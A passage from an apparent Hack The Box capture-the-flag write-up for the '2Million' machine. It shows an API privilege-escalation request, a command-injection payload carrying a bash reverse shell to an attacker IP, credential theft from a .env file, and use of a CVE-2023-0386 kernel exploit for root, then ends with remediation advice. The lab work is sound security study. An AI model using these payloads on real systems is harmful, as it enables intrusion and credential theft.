Two Million - Hack The Box

Why: The admin endpoints, particularly /api/v1/admin/settings/update, suggested a potential privilege escalation vector.

Step 9: Attempting Privilege Escalation via API

I tested the /api/v1/admin/auth endpoint, which confirmed I wasn’t an admin. Then, I tried a PUT request to /api/v1/admin/settings/update to escalate my account to admin status. Initial attempts returned a content-type error, so I added Content-Type: application/json. Subsequent errors indicated missing email and is_admin parameters. Setting is_admin: 1 in the JSON payload succeeded, granting admin privileges to my account.

Command:

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Content-Length: 45

{"email":"[email protected]","is_admin":1}

Why: The API lacked proper authorization checks, allowing me to escalate my account to admin status.

Step 10: Command Injection via Admin VPN Endpoint

With admin privileges, I tested the /api/v1/admin/vpn/generate endpoint, which accepted a username parameter. I injected a command using janedoe; bash -c 'sh -i >& /dev/tcp/10.10.14.208/4479 0>&1' #, setting up a Netcat listener to catch the reverse shell.

Command:

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Content-Length: 34

{"username": "janedoe; bash -c 'sh -i >& /dev/tcp/10.10.14.208/4479 0>&1' #"}

Why: The endpoint failed to sanitize the username input, allowing command injection and a reverse shell as the www-data user.

Step 11: Enumerating the System

In the reverse shell, I checked /etc/passwd, identifying the admin user. Exploring the filesystem, I found a database.php file and a .env. In the database file it showed enviromental varibles for a pwd. so looking in the .env file it contained the admin password: SuperDuperPass123.

Command:

cat /var/www/html/.env

Why: The .env file often contains sensitive credentials, and this provided SSH access as the admin user.

Step 12: Gaining User Access via SSH

I used the password to SSH as admin and retrieved the user flag from /home/admin/user.txt.

Command:

ssh [email protected]

Why: The cracked password granted SSH access, completing the user objective.

Step 13: Enumerating for Privilege Escalation

I ran sudo -l, but the admin user had no sudo privileges. Checking the mail directory, I found an email referencing a potential OverlayFS vulnerability (CVE-2023-0386). I researched the CVE using the PoC at GitHub. The POC did not have the best read me so I ended up having to reference a walk through from Oxdf to learn how to excute. (linked in reasources)

Why: The email provided a lead to a kernel vulnerability, critical for privilege escalation.

Step 14: Transferring and Running the CVE-2023-0386 Exploit

I downloaded the CVE-2023-0386 PoC, transferred it to the target, and unzipped it.

Command:

scp CVE-2023-0386-main.zip [email protected]:/home/admin

Following the walkthrough at 0xdf’s GitLab, I compiled the exploit with make, then ran ./fuse ./ovlcap/lower ./gc in one terminal (which hung as expected) and ./exp in another to gain root privileges.

Why: The OverlayFS vulnerability allowed mounting a filesystem with root privileges, enabling execution of the exploit binary as root.

Step 15: Gaining Root Access

The exploit granted a root shell, allowing me to retrieve the root flag from /root/root.txt.

Command:

cat /root/root.txt

Why: The CVE-2023-0386 exploit inherited root permissions from the OverlayFS mount, completing the challenge.

4. Lessons Learned and Tips

Here’s what I took away from 2Million:

• Tip 1: Always inspect JavaScript files for hidden API endpoints, as they can reveal critical functionality like invite code generation.
• Tip 2: Test API endpoints for improper authorization, as misconfigurations can lead to privilege escalation.
• Tip 3: Command injection vulnerabilities in user inputs can provide initial shell access; use tools like Burp Suite to fuzz inputs.
• Key Lesson: Kernel vulnerabilities like CVE-2023-0386 can be powerful for privilege escalation; always check for recent CVEs during enumeration.
• Future Goals: Improve API fuzzing techniques and deepen knowledge of Linux kernel exploits.

5. Securing and Remediating Vulnerabilities

To secure the 2Million machine against the exploited vulnerabilities, consider the following measures:

• API Authorization: Implement strict role-based access controls to prevent unauthorized users from accessing admin endpoints like /api/v1/admin/settings/update.
• Input Sanitization: Sanitize and validate all user inputs, especially in the /api/v1/admin/vpn/generate endpoint, to prevent command injection.
• Environment File Protection: Restrict access to sensitive files like .env by setting proper permissions and moving them outside the web root.
• Patch Kernel Vulnerabilities: Update the Linux kernel to a version not vulnerable to CVE-2023-0386 and apply security patches promptly.
• Secure JavaScript Exposure: Obfuscate or protect client-side JavaScript to avoid exposing sensitive API endpoints like /api/v1/invite/how/to/generate.

6. Conclusion

2Million was a challenging and rewarding CTF that combined web exploitation, API abuse, and kernel vulnerability exploitation. The journey from invite code generation to command injection and root access via CVE-2023-0386 highlighted the importance of thorough enumeration and creative exploitation techniques. This box was an excellent learning experience for mastering API security and privilege escalation.

7. Additional Notes

• The CVE-2023-0386 PoC was critical for achieving root access.
• Using tools like CyberChef streamlined the decoding process for invite codes.
• The 0xdf walkthrough provided valuable guidance for executing the OverlayFS exploit.